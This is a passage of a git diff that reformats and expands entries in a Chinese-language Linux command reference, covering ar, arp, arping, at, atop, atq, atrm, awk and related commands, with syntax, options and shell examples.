-ab(选项)(参数)
-Usage: ar [emulation options] [-]{dmpqrstx}[abcDfilMNoPsSTuvV] [--plugin ] [member-name] [count] archive-file file...
- ar -M [] [member-name] [count] archive-file file...
+ ar -M [ 以下内容来自 GNU ar (GNU Binutils) 2.40 版本指令
-```
-d - 从归档文件中删除文件
-m[ab] - 在归档文件中移动文件
-p - 打印在归档文件中找到的文件
-q[f] - 将文件快速追加到归档文件中
-r[ab][f][u] - 替换归档文件中已有的文件或加入新文件
-s - act as ranlib
-t - 显示归档文件的内容
-x[o] - 从归档文件中分解文件
+```shell
+命令:
+ d - 从归档文件中删除文件
+ m[ab] - 在归档文件中移动文件
+ p - 打印在归档文件中找到的文件
+ q[f] - 将文件快速追加到归档文件中
+ r[ab][f][u] - 替换归档文件中已有的文件或加入新文件
+ s - 作为 ranlib 工作
+ t[O][v] - display contents of the archive
+ x[o] - 从归档文件中分解文件
特定命令修饰符:
-[a] - 将文件置于 [成员名] 之后
-[b] - 将文件置于 [成员名] 之前 (于 [i] 相同)
-[D] - use zero for timestamps and uids/gids
-[U] - use actual timestamps and uids/gids (default)
-[N] - use instance [count] of name
-[f] - truncate inserted file names
-[P] - 在匹配时使用完整的路径名
-[o] - 保留原来的日期
-[u] - 只替换比当前归档内容更新的文件
+ [a] - 将文件置于 [成员名] 之后
+ [b] - 将文件置于 [成员名] 之前 (于 [i] 相同)
+ [D] - 将 0 用于时间戳和 uid/gid(默认)
+ [D] - 使用实际时间戳和 uid/gid
+ [N] - 使用名称的实例 [数量]
+ [f] - 截去插入的文件名称
+ [P] - 在匹配时使用完整的路径名
+ [o] - 保留原来的日期
+ [O] - display offsets of files in the archive
+ [u] - 只替换比当前归档内容更新的文件
通用修饰符:
-[c] - 不在必须创建库的时候给出警告
-[s] - 创建归档索引 (cf. ranlib)
-[S] - 不要创建符号表
-[T] - 做一个压缩档案
-[v] - 输出较多信息
-[V] - 显示版本号
-@ - 从读取选项
---target=BFDNAME - 将目标对象格式指定为BFDNAME
-```
-
-选项参数
-
-```
---plugin - load the specified plugin
+ [c] - 不在必须创建库的时候给出警告
+ [s] - 创建归档索引 (cf. ranlib)
+ [l ] - specify the dependencies of this library
+ [S] - 不要创建符号表
+ [T] - deprecated, use --thin instead
+ [v] - 输出较多信息
+ [V] - 显示版本号
+ @ - 从 读取选项
+ --target=BFDNAME - 指定目标对象格式为 BFDNAME
+ --output=DIRNAME - specify the output directory for extraction operations
+ --record-libdeps= - specify the dependencies of this library
+ --thin - make a thin archive
+可选项:
+ --plugin - 加载指定的插件程序
+仿真选项:
+ 没有仿真特有的选项
```
-ar:支持的目标: elf64-x86-64 elf32-i386 elf32-x86-64 a.out-i386-linux pei-i386 pei-x86-64 elf64-l1om elf64-k1om elf64-little elf64-big elf32-little elf32-big plugin srec symbolsrec verilog tekhex binary ihex
-
### 实例
打包文件
-```
-[root@localhost ~]# ls //显示当前目录文件
+```shell
+[root@localhost ~]# ls # 显示当前目录文件
a.c b.c d.c install.log qte
anaconda-ks.cfg c.c Desktop
-[root@localhost ~]# ar rv one.bak a.c b.c //打包 a.c b.c文件
+[root@localhost ~]# ar rv one.bak a.c b.c # 打包 a.c b.c文件
ar: 正在创建 one.bak
a - a.c
a - b.c
@@ -73,8 +75,8 @@ a - b.c
打包多个文件
-```
-[root@localhost ~]# ar rv two.bak *.c //打包以.c结尾的文件
+```shell
+[root@localhost ~]# ar rv two.bak *.c // 打包以.c结尾的文件
ar: 正在创建 two.bak
a - a.c
a - b.c
@@ -84,7 +86,7 @@ a - d.c
显示打包文件的内容
-```
+```shell
[root@localhost ~]# ar t two.bak
a.c
b.c
@@ -94,11 +96,11 @@ d.c
删除打包文件的成员文件
-```
+```shell
[root@localhost ~]# ar d two.bak a.c b.c c.c
[root@localhost ~]# ar t two.bak
d.c
```
-
+
diff --git a/command/arch.md b/command/arch.md
index 53e27266df0..3b797fb33c8 100644
--- a/command/arch.md
+++ b/command/arch.md
@@ -1,24 +1,36 @@
arch
===
-
+
显示当前主机的硬件架构类型
-## 补充说明
+## 概要
-**arch命令** 用于显示当前主机的硬件架构类型。arch命令等同于`命令name -m`在当前的Linux系统下,arch命令输出结果有:i386、i486、i586、alpha、sparc、arm、m68k、mips、ppc、i686等
+```shell
+arch [OPTION]...
+```
-### 语法
+## 主要用途
-```
-arch
-```
+- 打印机器架构信息;`arch` 命令输出结果有:i386、i486、i586、alpha、sparc、arm、m68k、mips、ppc、i686等。
-### 实例
+## 选项
+```shell
+--help 显示帮助信息并退出。
+--version 显示版本信息并退出。
```
-arch
+
+## 例子
+
+```shell
+[root@localhost ~]# arch
x86_64
```
+### 注意
+
+1. 该命令等价于 `uname -m`。
+
+2. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 arch`,`info coreutils 'arch invocation'`。
+
-
\ No newline at end of file
diff --git a/command/arj.md b/command/arj.md
index 01f38cbc8b4..05181e1653f 100644
--- a/command/arj.md
+++ b/command/arj.md
@@ -1,22 +1,21 @@
arj
===
-
+
用于创建和管理.arj压缩包
## 补充说明
-**arj命令** 是“.arj”格式的压缩文件的管理器,用于创建和管理“.arj”压缩包。
+**arj命令** 是 `.arj` 格式的压缩文件的管理器,用于创建和管理 `.arj` 压缩包。
-### 语法
+### 语法
-```
+```shell
arj(参数)
```
-### 参数
+### 参数
-* 操作指令:对“.arj”压缩包执行的操作指令;
-* 压缩包名称:指定要操作的arj压缩包名称。
+* 操作指令:对 `.arj` 压缩包执行的操作指令;
+* 压缩包名称:指定要操作的arj压缩包名称。
-
\ No newline at end of file
diff --git a/command/arp.md b/command/arp.md
index 542d4b46a31..993f236f416 100644
--- a/command/arp.md
+++ b/command/arp.md
@@ -1,12 +1,24 @@
arp
===
-arp 命令用于显示和修改 IP 到 MAC 转换表。
+arp 命令用于显示和修改 IP 到 MAC 转换表
## 补充说明
**arp 命令** 是 Address Resolution Protocol,地址解析协议,是通过解析网络层地址来找寻数据链路层地址的一个网络协议包中极其重要的网络传输协议。而该命令可以显示和修改 arp 协议解析表中的缓冲数据。
+这个核心协议模块实现RFC826中定义的 Address Resolution Protocol [译注:即TCP/IP的第三层到第一层的地址转换协议],用于在直接相连的网络中换第二层硬件地址和 Ipv4 协议地址之间的转换。 用户除非想对其进行配置,否则一般不会直接操作这个模块。
+
+实际上,它提供对核心中其它协议的服务。
+
+用户进程可以使用 packet(7) 的 sockets,收到 ARP 包(译注:一译分组)。 还有一种机制是使用 netlink(7) sockets,在用户空间管理 ARP 缓存的机制。我们也可以通过 ioctl (2) 控制任意 PF_INET socket上的 ARP 表
+
+ARP 模块维护一个硬件地址到协议地址映射的缓存。这个缓存有大小限制,所以不常用的和旧的记录(Entry)将被垃圾收集器清除(garbage-collected),垃圾收集器永远不能删除标为永久的记录。我们可以使用ioctls直接操纵缓冲, 并且其性状可以用下面定义的 sysctl 调节。
+
+如果在限定的时间(见下面的sysctl)内,一条现存映射没有肯定反馈时, 则认为相邻层的缓存记录失效。 为了再次向目标发送数据,ARP将首先试着询问本地arp进程 app_solicit 次,获取更新了的 MAC(介质访问控制)地址。 如果失败,并且旧的MAC地址是已知的,则发送 ucast_solicit 次的 unicast probe。如果仍然失败,则将向网络广播一个新的ARP请求,此时要 有待发送数据的队列
+
+如果 Linux 接到一个地址请求,而且该地址指向 Linux 转发的地址,并且接收接口打开了代理 arp 时,Linux 将自动添加一条非永久的代理 arp 记录;如果存在拒绝到目标的路由,则不添加代理 arp 记录。
+
### 语法
```shell
@@ -15,16 +27,18 @@ arp(选项)(参数)
### 选项
- -a 主机 :显示 arp 缓冲区的所有条目;
- -H 地址类型 :指定 arp 指令使用的地址类型;
- -d 主机 :从 arp 缓冲区中删除指定主机的 arp 条目;
- -D:使用指定接口的硬件地址;
- -e:以 Linux 的显示风格显示 arp 缓冲区中的条目;
- -i 接口 :指定要操作 arp 缓冲区的网络接口;
- -s 主机 MAC 地址 :设置指定的主机的 IP 地址与 MAC 地址的静态映射;
- -n:以数字方式显示 arp 缓冲区中的条目;
- -v:显示详细的 arp 缓冲区条目,包括缓冲区条目的统计信息;
- -f 文件 :设置主机的 IP 地址与 MAC 地址的静态映射。
+```shell
+-a # 主机 :显示 arp 缓冲区的所有条目;
+-H # 地址类型 :指定 arp 指令使用的地址类型;
+-d # 主机 :从 arp 缓冲区中删除指定主机的 arp 条目;
+-D # 使用指定接口的硬件地址;
+-e # 以 Linux 的显示风格显示 arp 缓冲区中的条目;
+-i # 接口 :指定要操作 arp 缓冲区的网络接口;
+-s # 主机 MAC 地址 :设置指定的主机的 IP 地址与 MAC 地址的静态映射;
+-n # 以数字方式显示 arp 缓冲区中的条目;
+-v # 显示详细的 arp 缓冲区条目,包括缓冲区条目的统计信息;
+-f # 文件 :设置主机的 IP 地址与 MAC 地址的静态映射。
+```
### 参数
diff --git a/command/arpd.md b/command/arpd.md
index 35e2dc5e208..c6ed7d3ca7d 100644
--- a/command/arpd.md
+++ b/command/arpd.md
@@ -1,21 +1,21 @@
arpd
===
-
+
收集免费ARP信息
## 补充说明
**arpd命令** 是用来收集免费arp信息的一个守护进程,它将收集到的信息保存在磁盘上或者在需要时,提供给内核用户用于避免多余广播。
-### 语法
+### 语法
-```
+```shell
arpd(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-l:将arp数据库输出到标准输出设备显示并退出;
-f:指定读取和加载arpd数据库的文本文件,文件的格式与“-l”输出信息类似;
-b:指定arpd数据库文件,默认的位置为“/var/lib/arpd.db”;
@@ -24,23 +24,22 @@ arpd(选项)(参数)
-n:设定缓冲失效时间。
```
-### 参数
+### 参数
网络接口:指定网络接口。
-### 实例
+### 实例
启动arpd进程:
-```
+```shell
arpd -b /var/tmp/arpd.db
```
运行一段时间后,查看结果:
-```
+```shell
arpd -l -b /var/tmp/arpd.db
```
-
\ No newline at end of file
diff --git a/command/arping.md b/command/arping.md
index 3494228cf3d..918942df3bf 100644
--- a/command/arping.md
+++ b/command/arping.md
@@ -1,37 +1,37 @@
arping
===
-
+
通过发送ARP协议报文测试网络
## 补充说明
**arping命令** 是用于发送arp请求到一个相邻主机的工具,arping使用arp数据包,通过ping命令检查设备上的硬件地址。能够测试一个ip地址是否是在网络上已经被使用,并能够获取更多设备信息。功能类似于ping。
-### 语法
+### 语法
-```
+```shell
arping(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-b:用于发送以太网广播帧(FFFFFFFFFFFF)。arping一开始使用广播地址,在收到响应后就使用unicast地址。
-q:quiet output不显示任何信息;
-f:表示在收到第一个响应报文后就退出;
-w timeout:设定一个超时时间,单位是秒。如果到了指定时间,arping还没到完全收到响应则退出;
-c count:表示发送指定数量的ARP请求数据包后就停止。如果指定了deadline选项,则arping会等待相同数量的arp响应包,直到超时为止;
--s source:设定arping发送的arp数据包中的SPA字段的值。如果为空,则按下面处理,如果是DAD模式(冲突地址探测),则设置为0.0.0.0,如果是Unsolicited ARP模式(Gratutious ARP)则设置为目标地址,否则从路由表得出;
+-s source:设定arping发送的arp数据包中的SPA字段的值。如果为空,则按下面处理,如果是DAD模式(冲突地址探测),则设置为0.0.0.0,如果是Unsolicited ARP模式(Gratuitous ARP)则设置为目标地址,否则从路由表得出;
-I interface:设置ping使用的网络接口。
```
-### 参数
+### 参数
目的主机:指定发送ARP报文的目的主机。
-### 实例
+### 实例
-```
+```shell
[root@localhost ~]# arping www.baidu.com
ARPING 220.181.111.147 from 173.231.43.132 eth0
Unicast reply from 220.181.111.147 00:D0:03:[bc:48:00] 1.666ms
@@ -47,4 +47,3 @@ Received 8 response(s)
```
-
\ No newline at end of file
diff --git a/command/arptables.md b/command/arptables.md
index 56c137b1d8a..1b80c836fde 100644
--- a/command/arptables.md
+++ b/command/arptables.md
@@ -1,21 +1,21 @@
arptables
===
-
+
管理ARP包过滤规则表
## 补充说明
**arptables命令** 用来设置、维护和检查Linux内核中的arp包过滤规则表。
-### 语法
+### 语法
-```
+```shell
arptables(选项)
```
-### 选项
+### 选项
-```
+```shell
-A:向规则链中追加规则;
-D:从指定的链中删除规则;
-l:向规则链中插入一条新的规则;
@@ -32,4 +32,3 @@ arptables(选项)
```
-
\ No newline at end of file
diff --git a/command/arpwatch.md b/command/arpwatch.md
index c3fb1a220a3..2c04b5a4bf1 100644
--- a/command/arpwatch.md
+++ b/command/arpwatch.md
@@ -1,21 +1,21 @@
arpwatch
===
-
+
监听网络上ARP的记录
## 补充说明
**arpwatch命令** 用来监听网络上arp的记录。
-### 语法
+### 语法
-```
+```shell
arpwatch(选项)
```
-### 选项
+### 选项
-```
+```shell
-d:启动排错模式;
-f<记录文件>:设置存储ARP记录的文件,预设为/var/arpwatch/arp.dat;
-i<接口>:指定监听ARP的接口,预设的接口为eth0;
@@ -23,4 +23,3 @@ arpwatch(选项)
```
-
\ No newline at end of file
diff --git a/command/as.md b/command/as.md
index 28de2b249dc..12578067995 100644
--- a/command/as.md
+++ b/command/as.md
@@ -1,21 +1,21 @@
as
===
-
+
汇编语言编译器
## 补充说明
-**as命令** GNU组织推出的一款汇编语言编译器,它支持多种不同类型的处理器。
+**as命令** 是GNU组织推出的一款汇编语言编译器,它支持多种不同类型的处理器。
-### 语法
+### 语法
-```
-as(选项)(参数)
+```shell
+as [选项] [参数]
```
-### 选项
+### 选项
-```
+```shell
-ac:忽略失败条件;
-ad:忽略调试指令;
-ah:包括高级源;
@@ -33,9 +33,44 @@ as(选项)(参数)
--statistics:打印汇编所用的最大空间和总时间。
```
-### 参数
+### 参数
汇编文件:指定要汇编的源文件。
+### 示例
+
+编译一个汇编文件并生成目标文件
+
+```shell
+as -o output.o source.s
+```
+
+忽略调试指令并生成目标文件
+
+```shell
+as -ad -o output.o source.s
+```
+
+生成包含调试信息的目标文件
+
+```shell
+as -g -o output.o source.s
+```
+
+包括宏扩展并生成目标文件
+
+```shell
+as -am -o output.o source.s
+```
+
+打印汇编所用的最大空间和总时间
+
+```shell
+as --statistics -o output.o source.s
+```
+
+跳过空白和注释预处理并生成目标文件
-
\ No newline at end of file
+```shell
+as -f -o output.o source.s
+```
\ No newline at end of file
diff --git a/command/at.md b/command/at.md
index be7f0600bd6..352063efe3a 100644
--- a/command/at.md
+++ b/command/at.md
@@ -1,23 +1,23 @@
at
===
-
+
在指定时间执行一个任务
## 补充说明
-**at命令** 用于在指定时间执行命令。at允许使用一套相当复杂的指定时间的方法。它能够接受在当天的hh:mm(小时:分钟)式的时间指定。假如该时间已过去,那么就放在第二天执行。当然也能够使用midnight(深夜),noon(中午),teatime(饮茶时间,一般是下午4点)等比较模糊的 词语来指定时间。用户还能够采用12小时计时制,即在时间后面加上AM(上午)或PM(下午)来说明是上午还是下午。 也能够指定命令执行的具体日期,指定格式为month day(月 日)或mm/dd/yy(月/日/年)或dd.mm.yy(日.月.年)。指定的日期必须跟在指定时间的后面。
+**at命令** 用于在指定时间执行命令。at允许使用一套相当复杂的指定时间的方法。它能够接受在当天的hh:mm(小时:分钟)式的时间指定。假如该时间已过去,那么就放在第二天执行。当然也能够使用midnight(深夜),noon(中午),teatime(饮茶时间,一般是下午4点)等比较模糊的词语来指定时间。用户还能够采用12小时计时制,即在时间后面加上AM(上午)或PM(下午)来说明是上午还是下午。也能够指定命令执行的具体日期,指定格式为month day(月 日)或mm/dd/yy(月/日/年)或dd.mm.yy(日.月.年)。指定的日期必须跟在指定时间的后面。
-上面介绍的都是绝对计时法,其实还能够使用相对计时法,这对于安排不久就要执行的命令是很有好处的。指定格式为:`now + count time-units`,now就是当前时间,time-units是时间单位,这里能够是minutes(分钟)、hours(小时)、days(天)、weeks(星期)。count是时间的数量,究竟是几天,还是几小时,等等。 更有一种计时方法就是直接使用today(今天)、tomorrow(明天)来指定完成命令的时间。
+上面介绍的都是绝对计时法,其实还能够使用相对计时法,这对于安排不久就要执行的命令是很有好处的。指定格式为:`now + count time-units`,now就是当前时间,time-units是时间单位,这里能够是minutes(分钟)、hours(小时)、days(天)、weeks(星期)。count是时间的数量,究竟是几天,还是几小时,等等。更有一种计时方法就是直接使用today(今天)、tomorrow(明天)来指定完成命令的时间。
-### 语法
+### 语法
-```
-at(选项)(参数)
+```shell
+at [-V] [-q 队列] [-f 文件] [-mldbv] 时间 at -c 作业 [作业...]
```
-### 选项
+### 选项
-```
+```shell
-f:指定包含具体指令的任务文件;
-q:指定新任务的队列名称;
-l:显示待执行任务的列表;
@@ -25,15 +25,15 @@ at(选项)(参数)
-m:任务执行完成后向用户发送E-mail。
```
-### 参数
+### 参数
日期时间:指定任务执行的日期时间。
-### 实例
+### 示例
-三天后的下午 5 点锺执行`/bin/ls`:
+三天后的下午 5 点钟执行`/bin/ls`:
-```
+```shell
[root@localhost ~]# at 5pm+3 days
at> /bin/ls
at>
@@ -42,7 +42,7 @@ job 7 at 2013-01-08 17:00
明天17点钟,输出时间到指定文件内:
-```
+```shell
[root@localhost ~]# at 17:20 tomorrow
at> date >/root/2013.log
at>
@@ -51,7 +51,7 @@ job 8 at 2013-01-06 17:20
计划任务设定后,在没有执行之前我们可以用atq命令来查看系统没有执行工作任务:
-```
+```shell
[root@localhost ~]# atq
8 2013-01-06 17:20 a root
7 2013-01-08 17:00 a root
@@ -59,11 +59,7 @@ job 8 at 2013-01-06 17:20
删除已经设置的任务:
-```
-[root@localhost ~]# atq
-8 2013-01-06 17:20 a root
-7 2013-01-08 17:00 a root
-
+```shell
[root@localhost ~]# atrm 7
[root@localhost ~]# atq
8 2013-01-06 17:20 a root
@@ -71,7 +67,7 @@ job 8 at 2013-01-06 17:20
显示已经设置的任务内容:
-```
+```shell
[root@localhost ~]# at -c 8
#!/bin/sh
# atrun uid=0 gid=0
@@ -80,5 +76,28 @@ umask 22此处省略n个字符
date >/root/2013.log
```
+使用任务文件执行任务:
+
+```shell
+[root@localhost ~]# echo "/bin/ls" > mytask.txt
+[root@localhost ~]# at -f mytask.txt 5pm+3 days
+job 9 at 2013-01-08 17:00
+```
+
+指定任务队列执行任务:
-
\ No newline at end of file
+```shell
+[root@localhost ~]# at -q b 5pm+3 days
+at> /bin/ls
+at>
+job 10 at 2013-01-08 17:00
+```
+
+任务执行完成后发送E-mail通知:
+
+```shell
+[root@localhost ~]# at -m 5pm+3 days
+at> /bin/ls
+at>
+job 11 at 2013-01-08 17:00
+```
\ No newline at end of file
diff --git a/command/atop.md b/command/atop.md
index 3ead1d6d07b..ca04cc49b93 100644
--- a/command/atop.md
+++ b/command/atop.md
@@ -5,27 +5,32 @@ atop
## 补充说明
-[非内部程序,需要安装]它以一定的频率记录系统的运行状态,所采集的数据包含系统资源(CPU、内存、磁盘和网络)使用情况和进程运行情况,并能以日志文件的方式保存在磁盘中,服务器出现问题后,我们可获取相应的atop日志文件进行分析。atop是一款开源软件,我们可以从这里获得其源码和rpm安装包。
+**atop命令** 是一款开源的系统监控工具,它以一定的频率记录系统的运行状态,采集的数据包含系统资源(CPU、内存、磁盘和网络)使用情况和进程运行情况,并能以日志文件的方式保存在磁盘中。服务器出现问题后,我们可获取相应的atop日志文件进行分析。atop是一款开源软件,我们可以从这里获得其[源码](https://github.com/Atoptool/atop)和[rpm安装包](https://pkgs.org/download/atop)。
-## 语法
+## 语法
+```shell
+atop [选项] [参数]
```
-atop(选项)(参数)
-```
-## 说明
+## 说明
+
+### ATOP列
-**ATOP列**:该列显示了主机名、信息采样日期和时间点
+该列显示了主机名、信息采样日期和时间点。
-**PRC列**:该列显示进程整体运行情况
+### PRC列
+
+该列显示进程整体运行情况:
- sys、usr字段分别指示进程在内核态和用户态的运行时间
-- #proc字段指示进程总数
-- #zombie字段指示僵死进程的数量
-- #exit字段指示atop采样周期期间退出的进程数量
+- `#proc` 字段指示进程总数
+- `#zombie` 字段指示僵尸进程的数量
+- `#exit` 字段指示atop采样周期期间退出的进程数量
+### CPU列
-**CPU列**:该列显示CPU整体(即多核CPU作为一个整体CPU资源)的使用情况,我们知道CPU可被用于执行进程、处理中断,也可处于空闲状态(空闲状态分两种,一种是活动进程等待磁盘IO导致CPU空闲,另一种是完全空闲)
+该列显示CPU整体(即多核CPU作为一个整体CPU资源)的使用情况:
- sys、usr字段指示CPU被用于处理进程时,进程在内核态、用户态所占CPU的时间比例
- irq字段指示CPU被用于处理中断的时间比例
@@ -34,15 +39,21 @@ atop(选项)(参数)
CPU列各个字段指示值相加结果为N00%,其中N为cpu核数。
-cpu列:该列显示某一核cpu的使用情况,各字段含义可参照CPU列,各字段值相加结果为100%
+### cpu列
+
+该列显示某一核cpu的使用情况,各字段含义可参照CPU列,各字段值相加结果为100%。
-**CPL列**:该列显示CPU负载情况
+### CPL列
+
+该列显示CPU负载情况:
- avg1、avg5和avg15字段:过去1分钟、5分钟和15分钟内运行队列中的平均进程数量
- csw字段指示上下文交换次数
- intr字段指示中断发生次数
-**MEM列**:该列指示内存的使用情况
+### MEM列
+
+该列指示内存的使用情况:
- tot字段指示物理内存总量
- free字段指示空闲内存的大小
@@ -50,51 +61,54 @@ cpu列:该列显示某一核cpu的使用情况,各字段含义可参照CPU
- buff字段指示用于文件缓存的内存大小
- slab字段指示系统内核占用的内存大小
-**SWP列**:该列指示交换空间的使用情况
+### SWP列
+
+该列指示交换空间的使用情况:
- tot字段指示交换区总量
- free字段指示空闲交换空间大小
-**PAG列**:该列指示虚拟内存分页情况
+### PAG列
-swin、swout字段:换入和换出内存页数
+该列指示虚拟内存分页情况:
-**DSK列**:该列指示磁盘使用情况,每一个磁盘设备对应一列,如果有sdb设备,那么增多一列DSK信息
+- swin、swout字段:换入和换出内存页数
+
+### DSK列
+
+该列指示磁盘使用情况,每一个磁盘设备对应一列,如果有sdb设备,那么增多一列DSK信息:
- sda字段:磁盘设备标识
- busy字段:磁盘忙时比例
- read、write字段:读、写请求数量
-**NET列**:多列NET展示了网络状况,包括传输层(TCP和UDP)、IP层以及各活动的网口信息
+### NET列
-- XXXi 字段指示各层或活动网口收包数目
-- XXXo 字段指示各层或活动网口发包数目
+多列NET展示了网络状况,包括传输层(TCP和UDP)、IP层以及各活动的网口信息:
+- XXXi字段指示各层或活动网口收包数目
+- XXXo字段指示各层或活动网口发包数目
## atop日志
-每个时间点采样页面组合起来就形成了一个atop日志文件,我们可以使用"atop -r XXX"命令对日志文件进行查看。那以什么形式保存atop日志文件呢?
-
-对于atop日志文件的保存方式,我们可以这样:
+每个时间点采样页面组合起来就形成了一个atop日志文件,我们可以使用`atop -r XXX`命令对日志文件进行查看。日志文件的保存方式如下:
- 每天保存一个atop日志文件,该日志文件记录当天信息
-- 日志文件以"atop_YYYYMMDD"的方式命名
+- 日志文件以`atop_YYYYMMDD`的方式命名
- 设定日志失效期限,自动删除一段时间前的日志文件
-其实atop开发者已经提供了以上日志保存方式,相应的atop.daily脚本可以在源码目录下找到。在atop.daily脚本中,我们可以通过修改INTERVAL变量改变atop信息采样周期(默认为10分钟);通过修改以下命令中的数值改变日志保存天数(默认为28天):
+atop开发者提供了以上日志保存方式,相应的`atop.daily`脚本可以在源码目录下找到。在`atop.daily`脚本中,我们可以通过修改`INTERVAL`变量改变atop信息采样周期(默认为10分钟);通过修改以下命令中的数值改变日志保存天数(默认为28天):
-```
+```shell
(sleep 3; find $LOGPATH -name 'atop_*' -mtime +28 -exec rm {} \; )&
```
-最后,我们修改cron文件,每天凌晨执行atop.daily脚本:
+最后,我们修改cron文件,每天凌晨执行`atop.daily`脚本:
-```
+```shell
0 0 * * * root /etc/cron.daily/atop.daily
```
## 相关资料
- [官方手册](http://www.atoptool.nl/download/man_atop-1.pdf)
-
-
\ No newline at end of file
diff --git a/command/atq.md b/command/atq.md
index 31f0586c6b6..5fd86e76812 100644
--- a/command/atq.md
+++ b/command/atq.md
@@ -1,36 +1,62 @@
atq
===
-
+
列出当前用户的at任务列表
## 补充说明
**atq命令** 显示系统中待执行的任务列表,也就是列出当前用户的at任务列表。
-### 语法
+### 语法
-```
-atq(选项)
+```shell
+atq [-V] [-q 队列] [-v]
```
-### 选项
+### 选项
-```
+```shell
-V:显示版本号;
-q:查询指定队列的任务。
```
-### 实例
+### 示例
-```
-at now + 10 minutes
+创建一个在10分钟后执行的任务,并列出当前用户的任务列表:
+
+```shell
+[root@localhost ~]# at now + 10 minutes
at> echo 1111
-at>
+at>
job 3 at Fri Apr 26 12:56:00 2013
+```
-atq
+使用`atq`命令查看当前用户的任务列表:
+
+```shell
+[root@localhost ~]# atq
3 Fri Apr 26 12:56:00 2013 a root
```
+查询指定队列的任务:
+
+```shell
+[root@localhost ~]# at -q a now + 10 minutes
+at> echo "Task in queue a"
+at>
+job 4 at Fri Apr 26 13:06:00 2013
+```
+
+使用`atq`命令查看队列`a`中的任务:
+
+```shell
+[root@localhost ~]# atq -q a
+4 Fri Apr 26 13:06:00 2013 a root
+```
+
+显示`atq`命令的版本号:
-
\ No newline at end of file
+```shell
+[root@localhost ~]# atq -V
+atq (GNU at) 3.1.20
+```
\ No newline at end of file
diff --git a/command/atrm.md b/command/atrm.md
index 2691142deba..73759f40413 100644
--- a/command/atrm.md
+++ b/command/atrm.md
@@ -1,39 +1,38 @@
atrm
===
-
+
删除待执行任务队列中的指定任务
## 补充说明
**atrm命令** 用于删除待执行任务队列中的指定任务。
-### 语法
+### 语法
-```
+```shell
atrm(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-V:显示版本号。
```
-### 参数
+### 参数
任务号:指定待执行队列中要删除的任务。
-### 实例
+### 实例
删除已经排队的任务
-```
-atq //显示当前已经设置的任务
+```shell
+atq # 显示当前已经设置的任务
2 Mon May 17 08:00:00 2010 a root
1 Sat May 15 17:00:00 2010 a root
-atrm 2 //删除任务2
+atrm 2 # 删除任务2
```
-
\ No newline at end of file
diff --git a/command/awk.md b/command/awk.md
index a64c8856014..9a540cb3d81 100644
--- a/command/awk.md
+++ b/command/awk.md
@@ -9,58 +9,57 @@ awk
## awk命令格式和选项
- **语法形式**
+**语法形式**
-```
+```shell
awk [options] 'script' var=value file(s)
awk [options] -f scriptfile var=value file(s)
```
- **常用命令选项**
+**常用命令选项**
-* **-F fs ** fs指定输入分隔符,fs可以是字符串或正则表达式,如-F:
-* **-v var=value ** 赋值一个用户定义变量,将外部变量传递给awk
-* **-f scripfile ** 从脚本文件中读取awk命令
-* **-m[fr] val ** 对val值设置内在限制,-mf选项限制分配给val的最大块数目;-mr选项限制记录的最大数目。这两个功能是Bell实验室版awk的扩展功能,在标准awk中不适用。
+* **-F fs** fs指定输入分隔符,fs可以是字符串或正则表达式,如-F:,默认的分隔符是连续的空格或制表符
+* **-v var=value** 赋值一个用户定义变量,将外部变量传递给awk
+* **-f scripfile** 从脚本文件中读取awk命令
+* **-m[fr] val** 对val值设置内在限制,-mf选项限制分配给val的最大块数目;-mr选项限制记录的最大数目。这两个功能是Bell实验室版awk的扩展功能,在标准awk中不适用。
## awk模式和操作
awk脚本是由模式和操作组成的。
-### 模式
+### 模式
模式可以是以下任意一个:
-* /正则表达式/:使用通配符的扩展集。
-* 关系表达式:使用运算符进行操作,可以是字符串或数字的比较测试。
-* 模式匹配表达式:用运算符`~`(匹配)和`!~`(不匹配)。
-* BEGIN语句块、pattern语句块、END语句块:参见awk的工作原理
+* /正则表达式/:使用通配符的扩展集。
+* 关系表达式:使用运算符进行操作,可以是字符串或数字的比较测试。
+* 模式匹配表达式:用运算符`~`(匹配)和`!~`(不匹配)。
+* BEGIN语句块、pattern语句块、END语句块:参见awk的工作原理
-### 操作
+### 操作
操作由一个或多个命令、函数、表达式组成,之间由换行符或分号隔开,并位于大括号内,主要部分是:
-* 变量或数组赋值
-* 输出命令
-* 内置函数
-* 控制流语句
+* 变量或数组赋值
+* 输出命令
+* 内置函数
+* 控制流语句
## awk脚本基本结构
-```
+```shell
awk 'BEGIN{ print "start" } pattern{ commands } END{ print "end" }' file
```
-一个awk脚本通常由:BEGIN语句块、能够使用模式匹配的通用语句块、END语句块3部分组成,这三个部分是可选的。任意一个部分都可以不出现在脚本中,脚本通常是被 **单引号** 或 **双引号** 中,例如:
+一个awk脚本通常由:BEGIN语句块、能够使用模式匹配的通用语句块、END语句块3部分组成,这三个部分是可选的。任意一个部分都可以不出现在脚本中,脚本通常是被 **单引号** 中,例如:
-```
+```shell
awk 'BEGIN{ i=0 } { i++ } END{ print i }' filename
-awk "BEGIN{ i=0 } { i++ } END{ print i }" filename
```
-### awk的工作原理
+### awk的工作原理
-```
+```shell
awk 'BEGIN{ commands } pattern{ commands } END{ commands }'
```
@@ -76,8 +75,8 @@ awk 'BEGIN{ commands } pattern{ commands } END{ commands }'
**示例**
-```
-echo -e "A line 1nA line 2" | awk 'BEGIN{ print "Start" } { print } END{ print "End" }'
+```shell
+echo -e "A line 1\nA line 2" | awk 'BEGIN{ print "Start" } { print } END{ print "End" }'
Start
A line 1
A line 2
@@ -86,14 +85,14 @@ End
当使用不带参数的`print`时,它就打印当前行,当`print`的参数是以逗号进行分隔时,打印时则以空格作为定界符。在awk的print语句块中双引号是被当作拼接符使用,例如:
-```
+```shell
echo | awk '{ var1="v1"; var2="v2"; var3="v3"; print var1,var2,var3; }'
v1 v2 v3
```
双引号拼接使用:
-```
+```shell
echo | awk '{ var1="v1"; var2="v2"; var3="v3"; print var1"="var2"="var3; }'
v1=v2=v3
```
@@ -104,7 +103,7 @@ v1=v2=v3
说明:[A][N][P][G]表示第一个支持变量的工具,[A]=awk、[N]=nawk、[P]=POSIXawk、[G]=gawk
-```
+```shell
**$n** 当前记录的第n个字段,比如n为1表示第一个字段,n为2表示第二个字段。
**$0** 这个变量包含执行过程中当前行的文本内容。
[N] **ARGC** 命令行参数的数目。
@@ -129,9 +128,21 @@ v1=v2=v3
[N] **SUBSEP** 数组下标分隔符(默认值是34)。
```
- **示例**
+转义序列
```
+\\ \自身
+\$ 转义$
